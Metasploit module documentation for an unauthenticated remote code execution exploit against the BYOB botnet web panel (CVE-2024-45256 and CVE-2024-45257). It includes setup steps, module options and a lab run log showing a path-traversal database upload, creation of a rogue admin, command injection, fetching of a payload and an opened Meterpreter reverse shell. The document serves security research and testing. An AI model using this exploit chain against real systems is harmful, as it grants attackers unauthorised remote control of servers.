## Vulnerable Application

The BYOB (Build Your Own Botnet) web GUI is vulnerable to two severe vulnerabilities:

- **CVE-2024-45256**: Unauthenticated arbitrary file write leading to
privilege escalation by adding a new admin user in the SQLite database.
- **CVE-2024-45257**: Authenticated command injection on the payload generation page.

As of version 2.1.7, these vulnerabilities remain **unpatched**.

### Discoverer:
- **Chebuya**
- Source:
  - [Blog Post](https://blog.chebuya.com/posts/unauthenticated-remote-command-execution-on-byob/)
  - [PoC and Exploit](https://github.com/chebuya/exploits/tree/main/BYOB-RCE)

### Install

#### Version 2.0 Setup

To install BYOB and test the vulnerabilities locally:

```bash
git clone https://github.com/malwaredllc/byob.git
cd byob/web-ui
./startup.sh
python3 run.py
```

> **Note**: Avoid using Docker for this lab as BYOB itself uses Docker for building payloads.

These vulnerabilities were tested only from the host machine.

## Verification Steps

To reproduce the Remote Code Execution (RCE) exploit:

1. Start `msfconsole`.
2. Do: `use exploit/unix/webapp/byob_unauth_rce`.
3. Do: `set RHOSTS <ip>`.
4. (Optional) Do: `set USERNAME <username>`.
5. (Optional) Do: `set PASSWORD <password>`.
6. Do: `set RPORT <port>`.
7. Do: `set TARGETURI <path>`.
8. Do: `set SRVPORT <port>`.
9. Do: `set FETCH_SRVHOST <ip>`.
10. Do: `run`.

The module will attempt to exploit the vulnerabilities and execute remote code.

## Options

No options

## Scenarios

### BYOB 2.0 - Unauthenticated Remote Code Execution

This example uses `cmd/linux/http/x64/meterpreter_reverse_tcp` to gain a reverse shell.

```
msf exploit(unix/http/byob_unauth_rce) > options 

Module options (exploit/unix/http/byob_unauth_rce):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        Password for new admin
   Proxies                    no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT     80               yes       The target port (TCP)
   SRVHOST   0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT   6000             yes       The local port to listen on.
   SSL       false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                    no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                    no        The URI to use for this exploit (default is random)
   USERNAME  admin            no        Username for new admin
   VHOST                      no        HTTP server virtual host


Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   FETCH_COMMAND       CURL             yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
   FETCH_DELETE        false            yes       Attempt to delete the binary after execution
   FETCH_FILENAME      roTvDomWxW       no        Name to use on remote system when storing payload; cannot contain spaces or slashes
   FETCH_SRVHOST                        no        Local IP to use for serving payload
   FETCH_SRVPORT       8080             yes       Local port to use for serving payload
   FETCH_URIPATH       IuxQhs           no        Local URI to use for serving payload
   FETCH_WRITABLE_DIR                   yes       Remote writable dir to store payload; cannot contain spaces
   LHOST               192.168.1.36     yes       The listen address (an interface may be specified)
   LPORT               4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Unix/Linux Command Shell



View the full module info with the info, or info -d command.

msf exploit(unix/http/byob_unauth_rce) > run http://192.168.1.36:5000
[*] Exploit running as background job 21.
[*] Exploit completed, but no session was created.
msf exploit(unix/http/byob_unauth_rce) > 
[*] Started reverse TCP handler on 192.168.1.36:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Using URL: http://192.168.1.36:6000/xK9IWU8ZxIpHV
[*] Payload is ready at /
[*] Generating malicious SQLite database.
[+] Database uploaded successfully to path: /proc/self/cwd/../../../../buildyourownbotnet/database.db
[+] Database uploaded successfully to path: /proc/self/cwd/../../../../instance/database.db
[+] Malicious database uploaded successfully.
[*] Registering a new admin user: admin:vZNqftVlFpmp
[+] Registered user !
[*] Logging in with the new admin user.
[+] Logged in successfully!
[*] Injecting payload via command injection.
[*] Received request at: / - Client Address: 192.168.1.36
[*] Sending response to 192.168.1.36 for /
[*] Sending stage (3045380 bytes) to 192.168.1.36
[*] Meterpreter session 9 opened (192.168.1.36:4444 -> 192.168.1.36:52382) at 2024-09-21 03:46:21 +0200

msf exploit(unix/http/byob_unauth_rce) > sessions 9
[*] Starting interaction with 9...

meterpreter > sysinfo 
Computer     : 192.168.1.36
OS           : LinuxMint 21.3 (Linux 5.15.0-121-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > 
```

In this scenario, the payload is injected into the vulnerable
`/api/payload/generate` endpoint, leading to command execution
on the target server.
The reverse shell connects back to Metasploit, providing remote access.
